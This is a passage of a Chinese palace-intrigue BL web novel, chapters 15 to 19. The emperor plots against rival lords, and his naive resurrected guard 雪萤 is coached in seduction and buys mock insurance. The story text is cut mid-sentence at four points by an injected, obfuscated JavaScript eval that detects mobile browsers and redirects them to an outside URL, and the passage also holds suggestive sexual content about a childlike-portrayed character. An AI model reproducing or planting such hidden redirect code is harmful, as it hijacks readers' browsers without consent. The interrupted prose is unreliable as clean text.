渐渐的,他也发现想要控制皇帝是不可能的事情。可他已经没有退路——他这权势最大的诸侯王,与皇帝永远不可能相容相存,一旦天子羽翼丰满,必然留不得他,压制皇帝,早已不为权势,而为生死存亡。 皇帝要是真的失控么,那只能换人来做…… 义蛾生也很清楚王侯公卿们的想法,可他暂时无法撼动兵强势大的诸侯们。所以他一直以来的打算都是,像他登基早期那样,冷眼旁观他们的斗争,最后让他来坐收渔利。 早先凌阳侯让勇乾王与太后吓得这么厉害,也是因为前有先例,他知道勇乾王是真的会下狠手……诸侯们从来都不是同仇敌忾,与天子水火不容,而是基于利益,彼此合作,又在恰当的时机,吞食同类。 文国公也不是他这方的人,既然有人想让武显侯去送死,何不在死前让他利用最后一点价值。雪萤这番话真倒是提醒了他,如果指派武显侯前去赈灾,出了事,与武显侯利益相关者势必埋怨他,倒不如顺手做个人情,保下武显侯,再找机会将真相透出去,挑拨文国公与勇乾王离心…… 如此一来,可不是削弱了反对他的势力,说不定还能将人拉拢到他这边来。 义蛾生将手指搭在桌边,一边思考着,一边没什么节奏地敲击着,心里慢慢拿定了主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418512|168916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意。 雪萤见他松开眉头,好奇问道:“主上想到办法了?” “嗯。”义蛾生朝他招手,雪萤便凑过去,让他摸了摸脑袋,“多亏有你提醒朕……差点忘记最重要的事情。” 雪萤很高兴:“能帮到主上是雪萤的荣幸!” 正说着话,外面传来通报声,说是金善荣与孔余求见,雪萤连忙直起身,绕到主上身后,板着小脸端端正正地站好了。 待二人走入行过礼,义蛾生道:“你们最好能给朕一个合理的解释,为什么与勇乾王一样推举武显侯外派赈灾。” 两人互相对视一眼,雪萤在他俩脸上都看见了吃惊的神色。金善荣一脸嫌弃:“是么?那臣现在认为,推举武显侯并不是一个好的选择。” 他拱了拱手:“恳请陛下允许臣收回先前的上书。” 孔余在旁微微笑道:“吐出来的东西再要吃回去……也不嫌恶心。” 眼见二人又要开吵,义蛾生非常有先见之明地敲了敲桌子:“都说说你们是怎样想的?” 孔余率先回答道:“勇乾王开口之前,臣只是想,武显侯本就为工部侍郎,他又是个侯爷,出去才能压得住若水王与裕国公,但在勇乾王发话之后嘛……事情看来就没有这样简单了。” 义蛾生点了点头,眼神冷淡地瞥过二人,慢慢地将勇乾王可能的打算讲给二人听了,并没有提到关于金矿的事情。 金、孔二人都露出惊讶不已的反应。金善荣道:“这么说来,就算武显侯把事情办得妥当,他们依然会从中作梗,甚至要他……有去无回!” “不错。”义蛾生道,“朕现在心里有了些打算,叫你们来是想问问,日后要是与勇乾王争夺武显侯那块封地,你们有什么看法?” 孔余道:“臣以为,可以扩充军营、建造学院等朝廷名义,合理正当地征用此地。” 义蛾生想了想:“略显牵强,而且如果以扩充军备的名义,恐会打草惊蛇。” 见他两人都有些愁眉苦脸,义蛾生又道:“下去再想想,朕先宣布钦使的人选。” 二人告退后,雪萤心痒痒地忍不住问:“主上决定要派武显侯去了么?” 义蛾生随意地点了点头:“对。到时候还会派十名御殿督卫随行,既为将人安全带回来,顺便查一查关于金矿的事情。” 雪萤眼睛一亮:“主上,让臣也一起去吧,调查这种事情臣最拿手了。” 如果让他去调查金矿,一定可以达成事半功倍的效果。 可他的主上并没有立即答应,甚至没有因为他的懂事而有所喜悦,神色反而变得有些奇怪,像是暴雨骤落之前会聚集起来的阴云。义蛾生看起来有些恍惚,还有些严厉:“你说什么?” 雪萤无法理解主上突如其来的转变。他好像觉察到了主上心情变得恶劣,可不明白为什么,于是又说了一次:“雪萤想一起去,调查金矿的事情。” 义蛾生盯着他看了一会儿,突然抬手猛地一推,将手边全部奏折和纸笔墨掀到地上,发出很大的动静,让雪萤惊得差点跳起来。 “你就这么想从朕身边离开?”他盯着雪萤,眼神中有一种属于受伤野兽的警觉与焦躁。他的喘息变得粗重,好像发了很大的火似的,很暴躁地说:“那你去,你去了试试看——” 雪萤呆呆地看了他好一会儿,眼泪被吓得冒了出来,在眼眶中打着转,却又一声不敢吭,好像受了很大的委屈一样可怜。 义蛾生很快就意识到,自己失控的情绪吓到了雪萤。他烦躁地站起身,在桌旁来回走了几步,又看了雪萤两眼,解释的话到了嘴边却说不出来,最后他什么都没有说,拂开长袖快步走出门去,好像身后有什么可怕的东西追逐着他似的。 雪萤落寞地在书房站了许久,连饭也没有去吃。直到他发现外面天色暗沉,才知道主上不可能再回来了,只得一个人慢慢地朝着寝宫走去。 门外站在侍奉的宫人与御殿督卫,他小心翼翼地走过去,没有人拦阻他,他这才放下心来,主上还没有狠心到将他拒之门外,于是轻手轻脚入了内里,看见主上背对着他侧身躺在榻上,背影有种说不出来的寂寥。 他几乎立即就忘记了先前被吓到的事情,只想上前去抱着他的主上,让他不要这样孤零零的一个人。 于是他也这么做了——只是当他伏在塌旁伸出双手刚一碰到主上时,他的主上便转过身来,用手环在他腰间,将脑袋埋在他的怀里,既脆弱,又依赖的样子。 “雪萤儿,”义蛾生疲惫不堪地说,他好像刚从一个可怕的梦中醒来,额头和发鬓间都是魇障的冷汗,“朕梦见你一身皮全没了……躺在朕怀里……也没有呼吸。” 16. 第 16 章 主人,雪萤去中术,替您寻找解开蛊的方法。 十年前也是这么说的。 那是他第一次,也是唯一一次放雪萤离开自己可控的范围,可最后回来的呢……是带着一身惨到让任何人都无法直视伤痕的他,还有那两刀。 一刀刺在义蛾生腹上,一刀刺进他自己的脖子。 雪萤露出有些心疼的神色。他用手擦了擦冷汗,低声说:“主上,那只是噩梦,雪萤好好地在这里呢。” “是么。”义蛾生不怎么明显地笑了一下,“应该是吧……当我看见你,我清楚那是噩梦。可我看不到你的时候,我就分不清楚,是否那才是现实,而你的出现才是一个美梦。” 这十年里,他经常会想,或许在他放雪萤离开的那一刻,雪萤就已经死了。 雪萤感觉心里闷闷的很难受,他说不出安慰的话来,只得更加用力地抱紧了他的主上。 义蛾生靠在他胸口处,听见他鲜活有力的心跳声,渐渐的,也从沉溺的苦海中清醒了过来。但他还是没有办法安然地把心落下来——除非让他亲自确认。 他挑开雪萤腰间的封束,从敞开的领口摸了进去,这个举动让雪萤立即受了惊,隔着衣服按住他几乎覆了半侧腰间的手:“主、主上……!” 义蛾生一碰到他细嫩的皮肤便撒不开手,捉着他的手低声哄道:“朕帮你揉揉骨头,免得到时候生疼。” 雪萤从不怀疑他说的话,一听理由,几乎没怎么犹豫就松了手,任由他把衣服弄得松松垮垮,越发过分地往深了摸索。 过了一会儿,他听见主上叹了口气:“这么嫩……真怕你到时候去习武时,拿着武器都能把手磨破。” 雪萤有些不服气:“才不会呢!” 义蛾生没说话,手掌最终来到他的脊骨处,上上下下的,反反复复地抚摸着。 那种兼备力量与热度的摸法,很容易就让人起了感觉。雪萤的身子细细地一颤,当被摸到尾椎那块骨头时,他感觉一股热流自后往前地传导到他的小腹,叫他浑身不由得紧绷起来,那种前所未有、却又有些熟悉的体验,让他控制不住地收紧了腿,最后也只是徒劳地夹在他主上的腰间。 雪萤低低地喘了起来:“主,主上,雪萤有些难受……” 义蛾生猛地从他怀中抬起头来,神色间露出些担忧:“哪里难受?” 他以为自己没控制好力道,让雪萤生出骨痛的反应。 可雪萤并不知道该怎么描述自己现在的感受。他只知道浑身酥麻,像是很舒服,可又像是被什么堵住了无法纾解,让他变得难受。最后也只能靠着本能,引着主上的手往下摸索:“这里,这里不舒服。” 义蛾生摸了摸,愣了一下,然后忍不住低声笑了起来。 “你这哪里是难受。”他微微抬头,额头在雪萤鼻尖上蹭了蹭,“雪萤儿这是发了情……贪嘴。” 雪萤迷迷瞪瞪地问:“那,要怎么办?” 义蛾生停下抚摸的动作,没再继续刺激他,只把手贴在他的皮肤上,感受着他身体因情欲而生出的细微颤抖。 天萤族是人非人,生而纯净澄澈,若无他引导,只怕雪萤一辈子都不知道,人与人之间,男人与男人之间,还能有这样的交合。十年前,雪萤对于情事的了解,都是他亲自教的,而如今复生后没了记忆的他,又如白纸一张,等着他又一次的调教…… 哪怕偶尔会做出一些引人遐想的举动,那也只是身体记住的动作,他自己却不明白这样的动作意味着什么。 义蛾生侧过头,在他怀里望着他那张美丽又略带稚气的脸。 还是暂时不要了吧。他想。 既是为他的身子,也是给他留一条后路。 不要玷污他的身体,免得未来真有一天,他要从他的身边离开,至少不会带着被侵犯过的伤痕。 义蛾生重新低下头,将他搂紧了些,闭上眼低声说:“睡觉吧,过一会儿就好了。” 雪萤懵懵懂懂地“哦”了一声。 他看主上好像没有要撒手的意思,只得用这种环抱着主上、腿夹在他腰间的别扭姿势,让他的主上靠在他凌乱的衣衫间睡了。 身体的燥热逐渐沉静下来,贴近主上的感觉让他安然,于是渐渐地也进入了美梦中,又露出他那种惯常的、不设防的娇憨睡态。 义蛾生等了许久,才动作很轻地抬起头,见他柔软红润的嘴唇微微张开着,露出内中又白又细的牙,又是一道绝丽的景致,终究是不能自己,在他唇上温柔地亲了又亲。 他忽然感觉好似少了点什么,沉思片刻,才想起是没有尝到雪萤嘴边无时不刻都存在感极强的花蜜香。 难道说……他今晚没吃东西?义蛾生皱起眉头,想。 天色微亮,雪萤惊醒过来时,他的主上已经站在旁边,让宫人伺候着换上朝服,看样子都要准备出门了。 他猛地一吓,瞌睡瞬间没了,惶恐地床上爬起来,忙问:“主上……不带臣上朝么?” 义蛾生站在镜前看着自己,并没有回头,只这么道:“等下谢陵会过来,让他带你去习武。” 雪萤小心翼翼地说:“可臣想跟着主上……” “没有那个必要。”义蛾生冷漠地说,“朕在这宫里很安全,你时时刻刻跟着也没什么意义。” 昨日突然发作的心疾让他几乎彻夜难眠,要不是这回有雪萤在,他大概又会去禁地宫殿,守着不知道几时才会醒过来的雪萤一整宿。如今人回来了,在欣喜若狂之后,反而生出更多的彷徨,不知道今后该要与他如何相处,辗转反侧,思来想去,如此一夜,还是不知道该怎么办。 他已经是让天下人跪伏仰望的帝王,他有潜藏起来的强大实力,没有人能够轻易伤到他,他也能在朝堂上翻手云、覆手雨,可唯一面对着雪萤时,他才像一个无能的普通人,不知道该拿他如何是好,也会被一句轻轻巧巧的话激得情绪失控,如患恶疾无药可治。 义蛾生心烦意乱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418513|168916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下意识又选择了避开雪萤的方式。 他没有把握摊开说清雪萤知道十年前全部事情后,还会选择毫无芥蒂地留在他身边,也没有办法安然享受着雪萤无知的忠心,与他如当年一般亲昵无间,被动而又惶惶地等着审判临头的那天到来。 让他再想想,到底该如何处理二人的关系。 他这么心神不宁的,直到走出门去许久,才忽然想起来,昨晚记着第二天要问问雪萤怎么没有好好吃东西。他只得支使身旁侍奉的御殿督卫去关照这件事,特意嘱咐人要盯着雪萤把早饭吃下去。 朝堂上宣布了外派赈灾的人选,下朝后义蛾生叫武显侯到议政殿受令,提点了几句朝上没有说完的交代,又为他指派十名御殿督卫随行。 武显侯神色一怔,那一瞬间的错愕没有让义蛾生错过。他冷眼旁观武显侯的反应,知道自己的举动一定是被当作监督和猜忌的防备,却懒于解释过多,只道:“此次你前去治灾,诸事需以百姓为先。” “是。”武显侯垂头领命。 临近中午,义蛾生批了一会儿折子,想起要差人提醒雪萤吃饭,人还没叫进来,倒是谢陵在外面求见。 他宣了谢陵进入书房,还没等跪下行礼,义蛾生便注意到谢陵右侧脸上肿起高高的一块,青青紫紫的,看着有些骇人。 能在宫里伤到谢陵的,恐怕只有…… 义蛾生装作不经意地问:“怎么弄的?” 谢陵苦笑一下。他的脸被打肿,影响到说话都不利索,磕磕绊绊答道:“跟雪大人过了几招……” 义蛾生一阵无言,他就知道。 天萤族生来怪力,当年雪萤刚进宫那会儿,也就是十一、二岁的样子,他那会儿有武功底子,得知天萤族这样一个天赋,不信雪萤这么点大的小孩儿也是如此,于是坚持让雪萤与他打一架。 雪萤那么小,跟外面的人也没怎么接触过,完全不知道自己的一使力会给普通人带来怎样的影响……于是,他们过了三招,第四招的时候,义蛾生被一脚踹飞,撞断身后的一棵树,肋骨也断了三根,在床上躺了半个月。 死鬼太子弟弟嘲笑他好久,并且以“自己没受伤不便互换身份”为名义,让他在东宫扮太子养伤休养,自己跑出去玩了半个月。这半个月里,雪萤基本上一见他受伤的模样就要哭,得他哄上许久才能打住。 从那以后,雪萤在他面前就再也没有露过力气,生怕伤了他。小时候的雪萤天性烂漫,爱哭也爱笑,似乎从十四岁之后,才渐渐地知道身为太子的近身侍卫,要学会收敛自己的眼泪,不过爱笑这一点却从未改变过,被他摸摸头就会高兴,被他夸奖就会开心,高兴了开心了想笑就笑。 结果这会儿复生才几日,就让他给弄哭了好几回……义蛾生心里反思着,难道他真的不算是一个好主人? 他早上还在想着要与雪萤保持距离的打算,此时却全然未意识到,自己满心的忧思与关爱,全部都牵系在一个人的喜怒哀乐上。 17. 第 17 章 义蛾生问谢陵:“怎么忽然想起要过招?” 谢陵愣了一下,又露出一丝苦笑。 这还得从皇上让他安排教雪萤习武说起。当年雪萤死时的一些事情,他也有所耳闻,所以后来听见陛下说为雪萤换了一身皮,舞刀弄枪时需得注意限度,他是惊讶的,却没有太放在心里,只想着就是换了也不至于一蹭就破吧。 但是……今早带雪萤去练刀,练了没到半时辰,雪萤的双手,就已经磨得手心里全是血。 他朝谢陵摊开血淋淋的掌心,谢陵叫那一幕惊着了,还没等他做何反应,雪萤就丢了刀,蹲在地上,像是受了很大委屈似的,吧嗒吧嗒地掉眼泪。 谢陵更头大了,甚至在思考要不要叫陛下过来解决问题。 但雪萤不让他去,谢陵结结巴巴不利索地安慰了一番,总算把人安慰得好了些,但还是有些闷闷不乐,谢陵便主动提出不练刀,两人过过招……然后他就让雪萤打成了这副模样。 现在想起来,简直想给当时的自己两巴掌,抽晕算了,没事跟天萤族的人打什么打,简直没从涂长东那被一脚踢断几乎没可能好起来的鼻子汲取教训。 谢陵又不便跟陛下说,不然显得他像个在背后告状的小人,这种事情他决计做不出来,于是只含糊道:“一开始本来说安排练刀,但练了没到半时辰,雪大人就被磨得满手是血,所以改换成过招。” 义蛾生微微皱眉:“手受伤了还打什么,没带他去找御医?” 谢陵答道:“雪大人后来自己去了,但是臣见他——” 他停顿一下,才道:“让万笠拦下了。” 雪萤拎着血淋淋的双手,第一反应是回去找主上。 但他仔细想了想,又怕要面对的是主上的冷待与疏离,只得停了脚步,垂头丧气跟个无头萤火虫似的在诺大的皇宫中乱走。 然后就让闲闲无事的万笠撞见,给截了下来。 万笠叫他:“小雪萤,你上哪搞的满手是血?” 雪萤看见是万笠,心里还是有些讨厌他,但眼下也找不到其他能说话的人,于是跟万笠说:“练刀,把手磨破了。” 万笠眼珠子一转,阴阳怪气地挑拨:“哎哟,咱们陛下真狠得下心,你这才活过来几天,就赶你去舞刀弄枪了。” 他不说还好,一说雪萤就委屈得掉眼泪:“主上就是不疼雪萤了。” “哎哎,你别哭啊。”万笠推推他,“我带你去找御医包扎,别哭了啊。” 看着乖乖跟他走的雪萤,万笠恶毒地想,他怎么可能会这么好心带人去疗伤什么的,他这是在骗取信任,更好地打入敌人内部呢。 包扎完了,两人一块往外走,雪萤还是满脸沮丧,跟万笠说:“主上的脾气好奇怪,雪萤都不知道做了什么,他就突然生气,又想赶我走。” 万笠似乎并不太奇怪,只说:“他是皇帝,平时事多忙碌,你想啊,朝廷里那么多复杂的问题,那些大臣们还老烦他,难免遇到心情不好的时候,你只是被他的坏心情波及了。” 雪萤愣了一下:“你说得对。” 主上现在已经是一国之君,成天要操烦这么多事情,他却无法为主上分忧,还老想缠着主上陪他,实在是太不应该了。 他问万笠:“万笠,你觉得我能为主上做些什么呢?” 万笠道:“我以为你扒光了往那一躺,皇帝心情自然就好起来了。” 雪萤有点生气:“我跟主上不是那种关系!” 不是那种关系?万笠回想着他这几日调查的结果。宫里的名册还记载着当年的旧事,雪萤十六岁承了太子的恩,他第一眼看到的时候就下意识以为,当年要了雪萤的人是废王,如今的皇帝,而不是真正的太子。 现在听雪萤纠正过两次二人不是那种关系,可见皇帝并没有对雪萤怎么样,难道说,当年临幸雪萤的当真是太子?万笠想不通,心里感到纳闷。 他满不在乎道:“不是就不是嘛。而且就你这个呆鹅样儿,知道该拿什么手段魅惑主子么?” 万笠斜着眼打量雪萤,往他身下瞟:“我说,小雪萤,你该不会连自渎都没有过吧。” 雪萤想了想,很认真地发问:“自渎是什么?” 万笠:“……” 他看了看雪萤,那副神色不像是装傻,只得凑到他耳边小声说:“就是……你自己用手弄你尿尿那处。” 雪萤惊讶地睁大眼:“为什么要弄那里?” 那个地方这么脏,为什么还要用手专门弄? 万笠:“……” 虽然吧,他是一个很邪恶的人,但是他从来都不觉得自己很邪恶,但不知道为什么,跟雪萤讲话的时候,他总能清晰地意识到自己很邪恶这一点。 他也磕巴起来了:“就,弄了,会很舒服,很爽,你懂吗?” “很爽么?”雪萤露出有些郁闷的神色,“不过说起来,昨晚主上给我按摩骨头,我觉得那里有点奇怪,嗯,怎么说呢,好像涨涨的,还很热,反正不舒服。主上说我发了情贪嘴,等我睡了一觉早上起来,就没有那种感觉了。” 万笠:“……” 按摩骨头都能把人摸出反应来,这根本就不是正经按摩吧!万笠决定推翻先前的质疑,坚定不移地确信,当年临幸雪萤的就是皇帝。 没想到皇帝表面看着光风霁月,行事做派一板一眼,令人敬畏不敢举目直视更不敢冒犯,没想到背地里也玩得挺花嘛,还找“按摩骨头”这种借口骗小孩……万笠心头洋洋得意,自以为又寻到皇帝的黑点,心道花点力气接近雪萤果然是正确的做法。 不过话说回来,总感觉好像也可以理解……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418514|168916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他以前听过一些关于天萤族的传闻,据说天萤族并不以交合繁育后代,他们信奉天萤大神,将天萤谷的熠耀之树视作天萤大神的化身,那树亦是他们天萤族的生命之树,树上汇聚着天地灵气,每一股灵气会诞生出一个新的生命。他们的族人在相互结为夫妻后,再来到树下虔诚地祈求,熠耀之树便会赐给他们新生的后代,生命由此诞生,每一个天萤族的六次蜕化期也在此完成。 所以在天萤族的世界里,根本就没有什么凡世俗欲,也难怪雪萤什么都不懂。这么个从骨子里就透着“纯”的小家伙,试问谁能忍得住不朝他伸出手,让他经由自己的调教,勾出淫性,变成另外一副模样?况且哪怕把人玩到熟透,天性里的那份单纯怎么也抹不掉,想想都叫人热血沸腾。 可惜了。万笠叹了口气,他只喜欢姑娘。他郁闷地跟雪萤说:“你要是个小姑娘该多好。” “嗯?”雪萤歪过头,“为什么?” “……”万笠道,“算了,不说了。” 他想就算雪萤真是个小姑娘,他也没那个贼胆的。当年“中术”组织被皇帝整个灭了的惨状,他可是少有几个亲眼目睹过的人,更知道那可怕之处。 染指皇帝后宫的女人,跟染指雪萤,那完全是两码事,他只是想偷摸替太后干坏事,混混日子,但还不想死。 万笠有一眼没一眼地打量雪萤,心里想着,长这么副勾人样儿,生来就是媚主的,他可以多多“指导”一下,叫雪萤去诱惑皇帝,让皇帝被迷得颠三倒四,肯定就会露出更多的漏处,让他加以利用。 这么想着,万笠跟雪萤说:“小雪萤,你知道讨男人欢心最简单粗暴的方式是什么吗?” 雪萤露出求知的渴望:“不知道,但我想知道。” 万笠故意吊着他胃口不说,等到雪萤露出有些生气的表情,他才慢悠悠道:“你只要记住,男人都是只要下面那处被伺候舒坦了,你就算把天捅出一个窟窿来,他都心甘情愿、任劳任怨替你补好。” 雪萤不太能理解:“为什么要把天捅出一个窟窿?” 万笠举起拳头想揍他:“你的关注点跑哪儿去了?!” 雪萤瘪瘪嘴:“那……为什么会这样?” 万笠无语了一阵子,才又说:“你只要记住这个道理就行了。我再教教你具体的操作。” 雪萤睁着泛出光的眼眸盯着他,像个亟待被投喂的小动物一样。 万笠说:“等你回去后,嗯,找个机会爬到陛下的床上去……” 他话还没说完,雪萤这个既叛逆又蠢笨的差生举手打断他:“雪萤天天跟主上睡在一起,不用找机会爬床。” 万笠:“……” 他深吸好几口气,终究是没忍住,暴跳如雷:“闭嘴!知道了!别再炫耀你俩的狗男男关系了!” 18. 第 18 章 雪萤叫他这么一凶,委屈巴巴地低下头,不敢说话了。 万笠让他打断后差点忘记说到哪里,好一会儿,才说:“然后你就给你主子说,你下面那处不舒服,让他帮你弄弄。” 雪萤歪过头,看起来又想提问。万笠说:“问吧。” 于是雪萤道:“按照你说的,我想讨主上欢心,那应该是我把他那处伺候好吧,为什么还要反过来让他帮我弄?” “你果然是个笨蛋。”万笠冷笑,“你想啊,你都说那处脏,要是你家主子都肯纡尊降贵帮你弄弄了,说明他是不是很在意你?你以后也就别老胡思乱想,觉得你主子不疼你了。” 雪萤眼睛亮了起来:“哦——原来是这样,万笠,你果然好厉害啊!” 他高兴不已:“我今晚回去就试试。” 试吧试吧,万笠在心里恶毒地想,到时候他也就能知道,雪萤这小东西到底能不能迷到皇帝了。 雪萤这会儿早忘记要讨厌万笠了,反而觉得认识万笠很幸运。在这宫里头,他能说得上话的,除了主上,便是谢陵这群人,可主上威严端肃,不能随便说些轻佻的话题,而谢陵这些人都拿他当上司,聊不起闲话,反倒是万笠这圆滑的人精,能教给失忆的他一些为人处世的道理。 万笠却没忘记要尽职尽责地执行“挑拨”的任务。他想起什么,凑到雪萤耳边补充道:“要是你主子不为所动,你可就要好好想想,你的主子,到底是不是这个男人……” 雪萤不明白他的话:“什么是不是的,现在的主上就是雪萤的主上。” 万笠恶劣地笑了:“那可不一定,小雪萤,说不定你还有另外一个‘主人’呢?” “不可能。”雪萤飞快地否定他,“雪萤只有一个主人,就是现在的这个。” 万笠笑道:“是,你确实只有一个主人,但是不是现在这个,那可不好说……” 见雪萤皱着眉头,似乎在苦苦思索,他又说:“我言尽于此,你也别老是成天这么呆呆傻傻的,自己多想想,多看看。” 雪萤想了一会儿,觉得想着烦,于是又缠上万笠:“还有没有别的技巧,再教我一点嘛。” 万笠露出有些嫌弃的神色:“都教你这么多了,我还没找你要半点报酬,你怎么这么贪心,还想要。” 雪萤脑子转得很快:“上次凌阳侯给的十万两呢,你不是要去拿么?” 万笠想起这事,跟他说:“没拿到。那钱庄掌柜说需要什么凌阳侯的手谕,我后来在想他们是不是骗我的,必须得要你去才行。” “那我们今天一起去。”雪萤说,“我给你……给你一半,你要多教我一点。” 十万两的一半?那不就是五万两!这个好啊。万笠眼睛一亮,立马收了嫌弃的表情,赶紧道:“行,我们现在就去,等会儿回来我教你按摩的手艺。” 两人一起往宫外走,雪萤边走边问:“什么按摩的手艺?” 万笠告诉他:“缓解疲劳的。这可是我伺候太后的独门秘笈,你看我一直都这么受太后宠爱,大半功劳都得益于我这手艺。” 雪萤高兴道:“那我要学,学了回去给主上用。” 两人说着话,来到宫外的通财钱庄,也不知今日是有了凌阳侯手谕,还是雪萤本人到了场,掌柜倒是很爽快叫人拿了银票出来,不过听见雪萤叫他分成五万两的两张,掌柜露出有些微妙的表情,但还是叫来伙计拿下去换了。 等着的时候,雪萤有些犯愁地跟万笠说:“你说,我拿着这钱回去,放到哪里比较好呢?要是让主上看见,他会不会骂我?” 万笠看他一眼:“你要是不想要,可以都给我。” “不行。”雪萤倒也没这么好骗,“都,都给了你五万两,你怎么还要我的?” 万笠哼了一声:“那你就等着被你主子发现吧。” 掌柜在旁边听见二人交谈,忍不住插了一句嘴进来:“大人,您要是暂时不想将银票带在身边,小店老板最近新推出了一门生意,不知道二位有没有兴趣?” 雪萤很好奇:“什么呀?” “就是一个叫做‘保单’的东西。”掌柜说,“它是这样的,你们与小店签订一个契约,然后把钱给我们做后备资金,我们约定担保你们未来可能会产生的损失,比如您想叫我们担保你的一条手臂,现在拿一万两买了五万两的保额,以后若是真有人伤了您的手臂,那您就可以找我们赔偿二十万两。” 雪萤听得微微睁大眼:“听起来好厉害。现在花一万,以后能得五万?” “你是不是傻。”万笠在旁边嘲笑他,“这五万得要你丢了一条手臂才能拿到,要是你的手臂一直没事,那你不但拿不到五万,连那一万也收不回来。” 掌柜躬身笑了笑:“是这个道理。” 他拢着袖口,又道:“这是老板刚弄出来的一个玩意儿,还有许多规则都不明了,本店只是试行发售,刚也是听二位大人在商量怎么用钱,所以才给了个提议。” “我要买。”雪萤很快地说,“除了担保手臂,还能担保什么呢?” 掌柜从柜台下拿出一套书册,跟二人仔细地讲解起来。 听过后,雪萤露出有些失望的神色:“啊?还不能自己给自己买?” 掌柜笑笑:“如果只是担保受伤,当然是给您自己的,但要是担保性命,等您命都没了,还如何拿这钱?所以只能叫别人替您买,替您受益。” “你说得很有道理。”雪萤点点头,转身看向万笠,“万笠,我们互相给对方买怎么样?” 万笠满头问号:“我跟你互相买?” “对呀。”雪萤劝说他,“你现在把五万两给老板,担保我的性命,等之后我一不小心死了,你就能拿三十万两银子,这不是超级划算么?” 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418515|168916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 万笠摸着下巴,一边打量着雪萤,一边开始认真思考了。 不得不说,五万换三十万,是个很诱人的条件。 他看着雪萤想,雪萤这会儿失了记忆,自己应该不清楚,他身为天萤族的蜕化期还没有完成,如果这么一直拖着不进行蜕化,听说迟早都是一个死。而天萤族完成蜕化需要回到天萤谷的熠耀之树上,那棵树十年前就被太后叫人烧了,也就是说…… 万笠咧开嘴,慢慢地笑了。 也就是说,皇帝把人复活了又如何,无法完成蜕化,雪萤很快也得死,他要是现在买了这个什么担保,估计很快就能拿到后面的赔偿。 万笠这会儿也有兴趣了:“那行啊,我们就互相买。” 那十万两还没有拿到手,又叫钱庄收了回去。掌柜笑眯眯地拿出两份契纸,正要盖章按手印时,雪萤忽然说:“等一下,我能不能给他换一个担保?” 掌柜恭顺地问道:“大人想换什么?” “我觉得万笠这么聪明,应该没有那么容易死。”雪萤说,“嗯,我想想,我想到了,我能不能担保他的男性功能?” 万笠差点没喷出来:“你说什么?!” 掌柜也有些懵,显然从未听过这样离谱的要求。 雪萤很认真地跟他们解释:“因为万笠一直在宫里,一般不会受到生命威胁,但你平时很不检点,总是跟女人混在一起,还要伺候太后,所以我很为你的身体感到担忧啊。” 万笠噎了一下,听他说起太后,隐隐感觉腰有些酸软:“……太后这个……确实是……” “是吧。”雪萤又转头问掌柜,“所以可以换成买这个么?” 掌柜艰难道:“可以……是可以……但如果只是普通失去功能……可能赔不到三十万两这么高……” 雪萤不高兴了:“那要怎样才能拿到三十万两呢?” 掌柜想了好久,咬咬牙,决定自己拿主意:“除非……整个都切了。” “喂——”万笠一下黑了脸,“你俩诅咒我呢?” 雪萤说:“这怎么会是诅咒呢?这分明是防患于未然。而且,你不是也要担保我的性命吗?” 他那张小脸忽然严肃起来:“难道说,你也是在诅咒我死?” “当然不是!”万笠心虚了,“我也是……我也是防患于未然!” 雪萤的脸色这才好了些:“那不就是了,我们互相买,还是一样的。” 万笠只得眼睁睁地看着,掌柜新写了一份契纸拿出来。 二人各自签了自己面前的契纸,交还给掌柜。还没出门,雪萤又开始缠着万笠要伺候人的“独门秘笈”。 万笠叫他闹得烦了,干脆掏出一本书来,把书封上的“勾引”划掉,歪歪扭扭地写了个“讨好”,变成一本《讨好主子的一百种方法》,然后塞到雪萤怀里,叫他自己回去琢磨。 19. 第 19 章 那边议政殿,义蛾生从袖中拿出一物,“啪”的一声扔到谢陵面前。 谢陵捧起来仔细看了看:“这是……” “义遥风的脏东西。”义蛾生冷冷道,语气中充满了嫌弃,“你知道从哪来的么?” 谢陵有些发懵地摇摇头,不明白陛下想说什么。 义蛾生又是冷笑:“雪萤戴着的,一看就是万笠那狗东西给他的,叫朕给他没收了。” 